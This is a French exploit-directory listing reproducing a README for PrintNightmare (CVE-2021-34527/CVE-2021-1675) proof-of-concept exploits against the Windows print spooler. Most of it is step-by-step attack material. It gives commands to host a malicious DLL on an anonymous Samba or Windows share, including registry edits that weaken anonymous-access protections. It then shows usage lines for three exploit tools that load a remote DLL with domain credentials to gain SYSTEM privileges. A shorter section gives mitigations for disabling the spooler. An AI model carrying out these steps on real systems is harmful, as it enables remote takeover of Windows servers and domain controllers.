Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - Vulnérabilité RCE/LPE du spouleur d'impression Windows (CVE-2021-34527, CVE-2021-1675) exploits de preuve de concept | Kitploit
Outils/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubnemo-wq/printnightmare-cve-2021-34527

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PrintNightmare-CVE-2021-34527

PrintNightmare - Vulnérabilité RCE/LPE du spouleur d'impression Windows (CVE-2021-34527, CVE-2021-1675) exploits de preuve de concept

Voir le dépôt
1754125il y a 4 ansVérifié par Kitploit

PrintNightmare - Vulnérabilité RCE/LPE du Spouleur d'impression Windows (CVE-2021-34527, CVE-2021-1675)

Résumé

Il s'agit d'une vulnérabilité d'exécution de code à distance qui peut être utilisée par un utilisateur distant authentifié pour obtenir des privilèges de niveau SYSTEM sur des machines Windows exécutant le service du spouleur d'impression. Un attaquant pourrait ensuite utiliser cet accès pour créer de nouveaux comptes, tenter d'installer des programmes ; afficher, modifier ou supprimer des données ; ou créer de nouveaux comptes avec des droits d'utilisateur complets.

Cette vulnérabilité existe en raison d'un bug de contournement d'autorisation dans le service Spouleur d'impression spoolsv.exe sur les systèmes Windows, ce qui permet à des utilisateurs distants authentifiés d'installer des pilotes d'impression en utilisant l'appel RPC RpcAddPrinterDriver et de spécifier un fichier pilote situé sur un emplacement distant. Un utilisateur malveillant exploitant cela pourrait obtenir des privilèges de niveau SYSTEM sur un système Windows exécutant ce service en injectant des DLL malveillantes dans le cadre de l'installation d'un pilote d'impression.

Bien que Microsoft ait publié une mise à jour pour CVE-2021-1675, cette mise à jour ne protège pas les contrôleurs de domaine Active Directory ni les systèmes Windows qui ont Point and Print configuré avec l'option NoWarningNoElevationOnInstall configurée.

Il existe trois implémentations d'exploit PoC dans ce dépôt :

  • Script Python CVE-2021-34527 par cube0x0
  • SharpPrintNightmare par cube0x0
  • EXP par afwu (Printnightmare)

Détails techniques

Systèmes affectés

  • Toutes les versions de Windows contiennent le code vulnérable et sont vulnérables au 4 juillet 2021. Les exploits ont été testés sur Windows Server 2019 & Windows 10 Pro.

Preuves de concept des exploits

Comme le service RPC permet à la machine cliente de fournir un emplacement pour que les pilotes d'impression soient téléchargés par le serveur distant, les exemples d'options suivants peuvent être utilisés pour héberger la charge utile et le chemin fourni lors de l'exécution de l'exploit :

Configuration du partage Samba

  • Unix/Linux:

    Pour configurer l'accès invité dans Samba, vous devez configurer un utilisateur sous lequel il se connectera. Assurez-vous qu'il existe un utilisateur smbuser dans le système, sinon créez-en un avec le mot de passe password

    root@kitploit:~
    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    Modifiez le fichier /etc/samba/smb.conf et activez l'accès anonyme

    root@kitploit:~
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    root@kitploit:~
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

Les instructions ci-dessous sont légèrement mises à jour par rapport à celles fournies par cube0x0 :

Script Python CVE-2021-34527

Il s'agit de l'implémentation Impacket de l'exploit Printnightmare par cube0x0. Avant d'exécuter l'exploit, vous devez installer une version modifiée d'Impacket :

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Utilisation de l'exploit :

Le code d'exploit pour cette vulnérabilité doit être exécuté avec Python 3

root@kitploit:~
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

Le répertoire SharpPrintNightmare/ contient l'implémentation C# de l'exploit Printnightmare, à la fois pour l'élévation de privilèges locale (LPE) (CVE-2021-1675) et pour l'exécution de code à distance (RCE). La fonctionnalité RCE nécessite une exécution avec des privilèges d'administrateur local sur la machine exécutant l'exploit.

Utilisation de l'exploit :

root@kitploit:~
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

Instructions d'utilisation d'EXP/ par afwu

Utilisation de l'exploit :

root@kitploit:~
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

Atténuations/Contournements

Déterminer si le service Spouleur d'impression est en cours d'exécution

Exécutez la commande suivante :

root@kitploit:~
Get-Service -Name Spooler

Si le Spouleur d'impression est en cours d'exécution ou si le service n'est pas paramétré sur désactivé, choisissez l'une des options suivantes pour désactiver le service Spouleur d'impression, ou pour désactiver l'impression distante entrante via une stratégie de groupe :

Option 1 - Désactiver le service Spouleur d'impression

Si la désactivation du service Spouleur d'impression est appropriée pour votre entreprise, utilisez les commandes PowerShell suivantes (recommandation de Microsoft) :

root@kitploit:~
Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

ou désactiver le service Spouleur via le registre

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

ou désinstaller Print-Services

root@kitploit:~
Uninstall-WindowsFeature Print-Services

Cela désactivera la capacité d'imprimer à la fois localement et à distance.

Option 2 - Désactiver l'impression distante entrante via une stratégie de groupe

Vous pouvez également configurer les paramètres via une stratégie de groupe comme suit :

root@kitploit:~
Computer Configuration / Administrative Templates / Printers

Désactivez la stratégie « Autoriser le Spouleur d'impression à accepter les connexions client » pour bloquer les attaques distantes.

Cette stratégie bloquera le vecteur d'attaque distant en empêchant les opérations d'impression distante entrante. Le système ne fonctionnera plus en tant que serveur d'impression, mais l'impression locale sur un périphérique directement connecté restera possible.

Pour plus d'informations, consultez : Utiliser les paramètres de stratégie de groupe pour contrôler les imprimantes.

Remerciements

  • Selon le bulletin de sécurité MSRC, cette vulnérabilité a été signalée par Zhipeng Huo, Piotr Madej et Zhang Yunhai.
  • cube0x0
  • afwu
Télécharger l’outil